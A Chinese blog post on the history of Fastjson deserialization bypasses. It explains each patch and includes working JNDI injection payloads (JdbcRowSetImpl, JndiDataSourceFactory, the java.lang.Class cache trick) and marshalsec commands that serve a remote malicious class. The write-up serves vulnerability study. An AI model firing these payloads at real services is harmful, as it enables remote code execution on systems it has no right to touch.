Fastjson中的利用方式
讲漏洞前先来说下一些利用方式
来看下第一次漏洞的Poc,一个JNDI注入的利用
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} |
个人理解就是,JdbcRowSetImpl
这个类的dataSourceName
支持传入一个rmi的源。
当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。
还有过程类似的LDAP利用方式
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}" |
可以用https://github.com/mbechler/marshalsec 很方便的启这两个服务
1 | java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit |
1 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt |
需要注意的来了,这两种利用方式有java版本限制(一开始坑死我了)
- 基于rmi的利用方式:适用jdk版本:
JDK 6u132
,JDK 7u122
,JDK 8u113
之前。 - 基于ldap的利用方式:适用jdk版本:
JDK 11.0.1
、8u191
、7u201
、6u211
之前。
因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。
可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。
Fastjson 反序列化历程
1.2.24
修复前
类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加@type
即可。
但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。
1 | <dependency> |
1 | payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}"; |
就可以成功反序列化RCE,无需别的前置条件
修复后
再运行上面那段代码就会爆出这条错误
跟进可以看到新增了checkAutoType
这个函数
可以看到我们这里的操作是被黑名单给拦截了
1 | for (int i = 0; i < denyList.length; ++i) { |
不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。
https://github.com/alibaba/fastjson/wiki/enable_autotype
1.2.42
修复前
这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)
在后面的TypeUtils.loadClass
真正加载class类时,有这样一段代码
1 | if (className.charAt(0) == '[') { |
可以看到在黑名单检测之后,当开头有[
或者L
和;
时会去掉这些字符,从而造成了黑名单的绕过
所以可以通过如下方式进行攻击,不过需要手动开启autoType
,至少相较于第一版的危害范围要小一些。(实测用[
时解析会报错。
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
修复后
1 | if ((((BASIC |
大致意思就是,假如开头和结尾是L
和;
就将头和尾去掉,再进行黑名单验证
还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究
感觉这个确实好好绕过,再加一层L
和;
不就可以了。
1 | LLcom.sun.rowset.JdbcRowSetImpl;; |
1.2.43
由于上个补丁的愚蠢方式,所以很快又出了这个补丁。
1 | if ((((BASIC |
开头两个LL
就会被抛出异常(好简洁暴力。。)
1.2.45
这回的绕过是黑名单被绕过,新增了个org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。
payload
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}} |
1.2.47
修复前
在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名
https://github.com/LeadroyaL/fastjson-blacklist
直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启autotype
通杀。(小声bb一句hw期间出了好多大洞
1 | String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\",\"autoCommit\":true}}}"; |
可以来看下这个json
1 | { |
据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。
可以一起来看下到底是怎么绕过autotype
和黑名单验证的。
一开始反序列化的是java.lang.Class
这个类,调试跟进可以看到是从checkAutoType
这一段代码中获取到的类。
1 | if (clazz == null) { |
这个deserializers
在一开始会对其中放入许多常用的类
1 | private void initDeserializers() { |
然后在紧跟的代码中就直接返回了,还没到原本autoTypeSupport
的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过java.lang.Class
获取到了com.sun.rowset.JdbcRowSetImpl
类,然后重点来了。
在loadClass
中,可以看到假如cache
为true,就会把获取到的类缓存到mapping
中(应该是为了提高效率)
1 | ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); |
然而这个cache
在传入的时候默认就是true
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
于是,触发到第二段payload的时候,在checkAutoType
函数中,就直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl
这个类
1 | if (clazz == null) { |
然后也是一样在还没有判断黑名单和com.sun.rowset.JdbcRowSetImpl
的验证之前就return了。
修复后
将之前的loadClass
中默认cache
设置成了false。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
所以在第一次获取到com.sun.rowset.JdbcRowSetImpl
这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和com.sun.rowset.JdbcRowSetImpl
的验证中了。
References
https://www.freebuf.com/vuls/208339.html
https://p0sec.net/index.php/archives/123/
https://github.com/earayu/fastjson_jndi_poc 漏洞环境